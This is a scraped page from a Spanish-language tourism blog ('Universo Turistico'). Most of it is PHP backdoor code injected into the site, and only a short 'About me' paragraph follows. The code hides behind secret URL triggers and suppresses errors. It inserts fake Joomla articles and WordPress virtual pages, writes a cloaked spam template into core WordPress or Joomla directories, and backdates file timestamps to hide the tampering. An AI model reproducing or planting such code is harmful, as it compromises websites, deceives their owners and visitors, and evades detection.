if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
$context = stream_context_create(array(
'http' => array('ignore_errors' => true),
));
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context);
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context);
}
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context);
}
if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) )
{
$tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl);
$tpl = preg_replace('# ]+?alternate[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?archives[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?bookmark[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?external[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?first[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?help[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?last[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?license[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?next[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?nofollow[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?noreferrer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?pingback[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?prefetch[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?prev[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?search[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?sidebar[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?up[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?canonical[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?robots[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?charset[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?content-type[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?og:[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?viewport[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?keywords[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?description[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?google[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?yandex[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?bing[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?slurp[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?refresh[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?referer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl);
$tpl = preg_replace('#
]*>[^<]*? #is', '[TITLE] ', $tpl);
$tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl);
$tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl);
$tpl = preg_replace('#\[CONTENT\]
#is', '[CONTENT]', $tpl);
$new_tags = '
';
$tpl = preg_replace('##is', $new_tags.'', $tpl);
} else
{
$tpl = base64_decode('PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuLVVTIiBjbGFzcz0ianMiPjxoZWFkPgoJPGxpbmsgcmVsPSJwcm9maWxlIiBocmVmPSJodHRwOi8vZ21wZy5vcmcveGZuLzExIj4KPHRpdGxlPltUSVRMRV08L3RpdGxlPgoKCgoJCTxzY3JpcHQgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3Avd3AtaW5jbHVkZXMvanMvd3AtZW1vamktcmVsZWFzZS5taW4uanM/dmVyPTQuNS1SQzEtMzcwNzkiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KaW1nLndwLXNtaWxleSwKaW1nLmVtb2ppIHsKCWRpc3BsYXk6IGlubGluZSAhaW1wb3J0YW50OwoJYm9yZGVyOiBub25lICFpbXBvcnRhbnQ7Cglib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7CgloZWlnaHQ6IDFlbSAhaW1wb3J0YW50OwoJd2lkdGg6IDFlbSAhaW1wb3J0YW50OwoJbWFyZ2luOiAwIC4wN2VtICFpbXBvcnRhbnQ7Cgl2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7CgliYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7CglwYWRkaW5nOiAwICFpbXBvcnRhbnQ7Cn0KPC9zdHlsZT4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBpZD0idHdlbnR5c2l4dGVlbi1mb250cy1jc3MiIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1NZXJyaXdlYXRoZXIlM0E0MDAlMkM3MDAlMkM5MDAlMkM0MDBpdGFsaWMlMkM3MDBpdGFsaWMlMkM5MDBpdGFsaWMlN0NNb250c2VycmF0JTNBNDAwJTJDNzAwJTdDSW5jb25zb2xhdGElM0E0MDAmYW1wO3N1YnNldD1sYXRpbiUyQ2xhdGluLWV4dCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiPgo8bGluayByZWw9InN0eWxlc2hlZXQiIGlkPSJnZW5lcmljb25zLWNzcyIgaHJlZj0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vZ2VuZXJpY29ucy9nZW5lcmljb25zLmNzcz92ZXI9My40LjEiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0iYWxsIj4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBpZD0idHdlbnR5c2l4dGVlbi1zdHlsZS1jc3MiIGhyZWY9Imh0dHBzOi8vd3AtdGhlbWVzLmNvbS93cC1jb250ZW50L3RoZW1lcy90d2VudHlzaXh0ZWVuL3N0eWxlLmNzcz92ZXI9NC41LVJDMS0zNzA3OSIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiPgo8IS0tW2lmIGx0IElFIDEwXT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ndHdlbnR5c2l4dGVlbi1pZS1jc3MnICBocmVmPSdodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9jc3MvaWUuY3NzP3Zlcj0yMDE1MDkzMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjwhW2VuZGlmXS0tPgo8IS0tW2lmIGx0IElFIDldPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd0d2VudHlzaXh0ZWVuLWllOC1jc3MnICBocmVmPSdodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9jc3MvaWU4LmNzcz92ZXI9MjAxNTEyMzAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8IVtlbmRpZl0tLT4KPCEtLVtpZiBsdCBJRSA4XT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ndHdlbnR5c2l4dGVlbi1pZTctY3NzJyAgaHJlZj0naHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vY3NzL2llNy5jc3M/dmVyPTIwMTUwOTMwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPCFbZW5kaWZdLS0+CjwhLS1baWYgbHQgSUUgOV0+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHBzOi8vd3AtdGhlbWVzLmNvbS93cC1jb250ZW50L3RoZW1lcy90d2VudHlzaXh0ZWVuL2pzL2h0bWw1LmpzP3Zlcj0zLjcuMyc+PC9zY3JpcHQ+CjwhW2VuZGlmXS0tPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3Avd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5qcz92ZXI9MS4xMi4yIj48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnktbWlncmF0ZS5taW4uanM/dmVyPTEuNC4wIj48L3NjcmlwdD4KCgogCgo8bWV0YSBuYW1lPSJnZW5lcmF0b3IiIGNvbnRlbnQ9IldvcmRQcmVzcyA0LjUtUkMxLTM3MDc5Ij4KCgoKCgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4ucmVjZW50Y29tbWVudHMgYXtkaXNwbGF5OmlubGluZSAhaW1wb3J0YW50O3BhZGRpbmc6MCAhaW1wb3J0YW50O21hcmdpbjowICFpbXBvcnRhbnQ7fTwvc3R5bGU+CiAgPGxpbmsgcmVsPSJjYW5vbmljYWwiIGhyZWY9IltQQUdFX1VSTF0iPgogICAgPGxpbmsgcmVsPSJwcmV2IiBocmVmPSJbUkFORF9VUkxfUFJFVl0iPgogICAgPGxpbmsgcmVsPSJuZXh0IiBocmVmPSJbUkFORF9VUkxfTkVYVF0iPgogICAgPG1ldGEgcHJvcGVydHk9Im9nOnRpdGxlIiBjb250ZW50PSJbVElUTEVdIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp0eXBlIiBjb250ZW50PSJhcnRpY2xlIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzpzaXRlX25hbWUiIGNvbnRlbnQ9IltDT01NT05dIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp1cmwiIGNvbnRlbnQ9IltQQUdFX1VSTF0iPgogICAgPG1ldGEgcHJvcGVydHk9Im9nOmxvY2FsZSIgY29udGVudD0iZW5fVVMiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIHByb3BlcnR5PSJvZzpkZXNjcmlwdGlvbiIgY29udGVudD0iW0RFU0NSSVBUSU9OXSI+CiAgICA8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0iW0tFWVdPUkRTXSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgdXNlci1zY2FsYWJsZT15ZXMiPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgogIAoJCTwvaGVhZD4KCjxib2R5IGNsYXNzPSJzaW5ndWxhciBzaW5nbGUgc2luZ2xlLXBvc3QgcG9zdGlkLTE5IHNpbmdsZS1mb3JtYXQtc3RhbmRhcmQiPgo8ZGl2IGlkPSJwYWdlIiBjbGFzcz0ic2l0ZSI+Cgk8ZGl2IGNsYXNzPSJzaXRlLWlubmVyIj4KCQk8YSBjbGFzcz0ic2tpcC1saW5rIHNjcmVlbi1yZWFkZXItdGV4dCIgaHJlZj0iI2NvbnRlbnQiPlNraXAgdG8gY29udGVudDwvYT4KCgkJPGhlYWRlciBpZD0ibWFzdGhlYWQiIGNsYXNzPSJzaXRlLWhlYWRlciIgcm9sZT0iYmFubmVyIj4KCQkJPGRpdiBjbGFzcz0ic2l0ZS1oZWFkZXItbWFpbiI+CgkJCQk8ZGl2IGNsYXNzPSJzaXRlLWJyYW5kaW5nIj4KCQkJCQkJCQkJCQk8cCBjbGFzcz0ic2l0ZS10aXRsZSI+W0NPTU1PTl08L3A+CgkJCQkJCQkJCQkJCgkJCQkJCQkJCTwvZGl2PjwhLS0gLnNpdGUtYnJhbmRpbmcgLS0+CgoJCQkJCQkJPC9kaXY+PCEtLSAuc2l0ZS1oZWFkZXItbWFpbiAtLT4KCgkJCQkJPC9oZWFkZXI+PCEtLSAuc2l0ZS1oZWFkZXIgLS0+CgoJCTxkaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPgoKPGRpdiBpZD0icHJpbWFyeSIgY2xhc3M9ImNvbnRlbnQtYXJlYSI+Cgk8bWFpbiBpZD0ibWFpbiIgY2xhc3M9InNpdGUtbWFpbiIgcm9sZT0ibWFpbiI+CgkJCjxhcnRpY2xlIGlkPSJwb3N0LTE5IiBjbGFzcz0icG9zdC0xOSBwb3N0IHR5cGUtcG9zdCBzdGF0dXMtcHVibGlzaCBmb3JtYXQtc3RhbmRhcmQgaGVudHJ5IGNhdGVnb3J5LXVuY2F0ZWdvcml6ZWQgdGFnLWJvYXQgdGFnLWxha2UiPgoJPGhlYWRlciBjbGFzcz0iZW50cnktaGVhZGVyIj4KCQk8aDEgY2xhc3M9ImVudHJ5LXRpdGxlIj5bVElUTEVdPC9oMT4JPC9oZWFkZXI+PCEtLSAuZW50cnktaGVhZGVyIC0tPgoKCQoJCgk8ZGl2IGNsYXNzPSJlbnRyeS1jb250ZW50Ij4KICBbQ09OVEVOVF0KPC9kaXY+PCEtLSAuZW50cnktY29udGVudCAtLT4KCgkKPC9hcnRpY2xlPjwhLS0gI3Bvc3QtIyMgLS0+CgoJCgk8L21haW4+PCEtLSAuc2l0ZS1tYWluIC0tPgoKCQo8L2Rpdj48IS0tIC5jb250ZW50LWFyZWEgLS0+CgoKCTxhc2lkZSBpZD0ic2Vjb25kYXJ5IiBjbGFzcz0ic2lkZWJhciB3aWRnZXQtYXJlYSIgcm9sZT0iY29tcGxlbWVudGFyeSI+CgkJPHNlY3Rpb24gaWQ9InNlYXJjaC0zIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9zZWFyY2giPgo8Zm9ybSByb2xlPSJzZWFyY2giIG1ldGhvZD0iZ2V0IiBjbGFzcz0ic2VhcmNoLWZvcm0iIGFjdGlvbj0iIyI+Cgk8bGFiZWw+CgkJPHNwYW4gY2xhc3M9InNjcmVlbi1yZWFkZXItdGV4dCI+U2VhcmNoIGZvcjo8L3NwYW4+CgkJPGlucHV0IHR5cGU9InNlYXJjaCIgY2xhc3M9InNlYXJjaC1maWVsZCIgcGxhY2Vob2xkZXI9IlNlYXJjaCDigKYiIHZhbHVlPSIiIG5hbWU9InMiIHRpdGxlPSJTZWFyY2ggZm9yOiI+Cgk8L2xhYmVsPgoJPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzZWFyY2gtc3VibWl0Ij48c3BhbiBjbGFzcz0ic2NyZWVuLXJlYWRlci10ZXh0Ij5TZWFyY2g8L3NwYW4+PC9idXR0b24+CjwvZm9ybT4KPC9zZWN0aW9uPgkJPHNlY3Rpb24gaWQ9InJlY2VudC1wb3N0cy0zIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9yZWNlbnRfZW50cmllcyI+CQk8aDIgY2xhc3M9IndpZGdldC10aXRsZSI+UmVjZW50IFBvc3RzPC9oMj4JCQoJCTwvc2VjdGlvbj4JCTxzZWN0aW9uIGlkPSJyZWNlbnQtY29tbWVudHMtMyIgY2xhc3M9IndpZGdldCB3aWRnZXRfcmVjZW50X2NvbW1lbnRzIj48aDIgY2xhc3M9IndpZGdldC10aXRsZSI+UmVjZW50IENvbW1lbnRzPC9oMj48L3NlY3Rpb24+PHNlY3Rpb24gaWQ9ImFyY2hpdmVzLTMiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X2FyY2hpdmUiPjxoMiBjbGFzcz0id2lkZ2V0LXRpdGxlIj5BcmNoaXZlczwvaDI+CQkKCQk8L3NlY3Rpb24+PHNlY3Rpb24gaWQ9ImNhdGVnb3JpZXMtMyIgY2xhc3M9IndpZGdldCB3aWRnZXRfY2F0ZWdvcmllcyI+PGgyIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPkNhdGVnb3JpZXM8L2gyPgkJCjwvc2VjdGlvbj4JPC9hc2lkZT48IS0tIC5zaWRlYmFyIC53aWRnZXQtYXJlYSAtLT4KCgkJPC9kaXY+PCEtLSAuc2l0ZS1jb250ZW50IC0tPgoKCQk8Zm9vdGVyIGlkPSJjb2xvcGhvbiIgY2xhc3M9InNpdGUtZm9vdGVyIiByb2xlPSJjb250ZW50aW5mbyI+CgkJCQoJCQkKCQkJPGRpdiBjbGFzcz0ic2l0ZS1pbmZvIj4KCQkJCQkJCQk8c3BhbiBjbGFzcz0ic2l0ZS10aXRsZSI+W0NPTU1PTl08L3NwYW4+CgkJCQk8YSBocmVmPSJodHRwczovL3dvcmRwcmVzcy5vcmcvIj5Qcm91ZGx5IHBvd2VyZWQgYnkgV29yZFByZXNzPC9hPgoJCQk8L2Rpdj48IS0tIC5zaXRlLWluZm8gLS0+CgkJPC9mb290ZXI+PCEtLSAuc2l0ZS1mb290ZXIgLS0+Cgk8L2Rpdj48IS0tIC5zaXRlLWlubmVyIC0tPgo8L2Rpdj48IS0tIC5zaXRlIC0tPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vanMvc2tpcC1saW5rLWZvY3VzLWZpeC5qcz92ZXI9MjAxNTExMTIiPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9qcy9mdW5jdGlvbnMuanM/dmVyPTIwMTUxMjA0Ij48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwL3dwLWluY2x1ZGVzL2pzL3dwLWVtYmVkLm1pbi5qcz92ZXI9NC41LVJDMS0zNzA3OSI+PC9zY3JpcHQ+CgoKPC9ib2R5PjwvaHRtbD4=');
}
$tpl_path = '';
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
if (is_dir($root_path.'/wp-admin/includes/'))
{
$tpl_path = '/wp-admin/includes/template.html';
}
if (is_dir($root_path.'/libraries/joomla/application/'))
{
$tpl_path = '/libraries/joomla/application/template.html';
}
chmod(dirname($root_path.$tpl_path), 0755);
chmod($root_path.$tpl_path, 0644);
if (file_put_contents($root_path.$tpl_path, $tpl))
{
echo 'Success!';
} else
{
echo 'failed';
}
touch($root_path.$tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
touch(dirname($root_path.$tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
exit;
}
if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
if (is_dir($root_path.'/libraries/joomla/application/'))
{
$alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000);
$database = JFactory::getDBO();
$item = new stdClass;
$item->id = null;
$item->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$item->introtext = '';
$item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000);
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = '2011-11-11 11:11:11';
$item->publish_up = '2011-11-11 11:11:11';
$item->alias = $alias;
if (!$database->insertObject('#__content', $item, 'id')) {
echo $database->stderr();
}
$url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id;
$data = file_get_contents($url);
$data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data);
$data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11.11.2011#is', '[DATE]', $data);
$data = preg_replace('#2011-11-11#is', '[DATE]', $data);
$data = preg_replace('#2011.11.11#is', '[DATE]', $data);
echo $data;
exit;
}
if (is_dir($root_path.'/wp-admin/includes/'))
{
if (!class_exists('THEVirtualPage'))
{
class THEVirtualPage
{
private $slug = NULL;
private $title = NULL;
private $content = NULL;
private $author = NULL;
private $date = NULL;
private $type = NULL;
public function __construct($args)
{
$this->slug = 'slug';
$this->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$this->content = 'thefuckingcontent'.mt_rand(1, 10000000000);
$this->author = 1;
$this->date = current_time('mysql');
$this->dategmt = current_time('mysql', 1);
$this->type = 'page';
add_filter('the_posts', array(&$this, '_virtualPage'));
}
// filter to create virtual page content
public function _virtualPage($posts)
{
global $wp, $wp_query;
//create a fake post intance
$post = new stdClass;
// fill properties of $post with everything a page in the database would have
$post->ID = "-1"; // use an illegal value for page ID
$post->post_author = $this->author; // post author id
$post->post_date = $this->date; // date of post
$post->post_date_gmt = $this->dategmt;
$post->post_content = $this->content;
$post->post_title = $this->title;
$post->post_excerpt = '';
$post->post_status = 'publish';
$post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist
$post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist
$post->post_password = ''; // no password
$post->post_name = $this->slug;
$post->to_ping = '';
$post->pinged = '';
$post->modified = $post->post_date;
$post->modified_gmt = $post->post_date_gmt;
$post->post_content_filtered = '';
$post->post_parent = 0;
$post->guid = get_home_url('/' . $this->slug);
$post->menu_order = 0;
$post->post_type = $this->type;
$post->post_mime_type = '';
$post->comment_count = 0;
// set filter results
$posts = array($post);
// reset wp_query properties to simulate a found page
$wp_query->is_page = TRUE;
$wp_query->is_singular = TRUE;
$wp_query->is_home = FALSE;
$wp_query->is_archive = FALSE;
$wp_query->is_category = FALSE;
unset($wp_query->query['error']);
$wp_query->query_vars['error'] = '';
$wp_query->is_404 = FALSE;
return ($posts);
}
}
}
function _create_virtual()
{
$args = array('slug' => 'slug',
'title' => '',
'content' => ''
);
$pg = new THEVirtualPage($args);
}
function change_wp_44_title( $title )
{
global $data;
$title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000);
$title['page'] = '';
$title['tagline'] = '';
$title['site'] = '';
return $title;
}
function change_wp_40_title( $title )
{
return 'thefuckingtitle'.mt_rand(1, 10000000000);
}
function _change_page_url( )
{
return '[PAGE_URL]';
}
add_filter( 'the_permalink', '_change_page_url');
add_action('init', '_create_virtual');
add_filter( 'document_title_parts', 'change_wp_44_title' );
add_filter( 'wp_title', 'change_wp_40_title' );
}
}
Acerca de mi… | Universo Turistico.
Primero y principal, la idea de realizar un espacio asi, mas alla de cumplir con un deseo mio de expresar lo que siento y lo que me gusta, es tambien para todos aquellos que se puedan deleitar con lo que ire cotidianamente (en lo posible) subiendo.
Como es para compartir, me encantaria que pudieran exponer sus comentarios para lograr que de cada entrada que se realize haya una experiencia nueva. Y por si no sabian, como gran interesada en el turismo, tendre tambien mi linda seccion dedicada a ella.
Espero que lo disfruten.
Stefania Drebnieks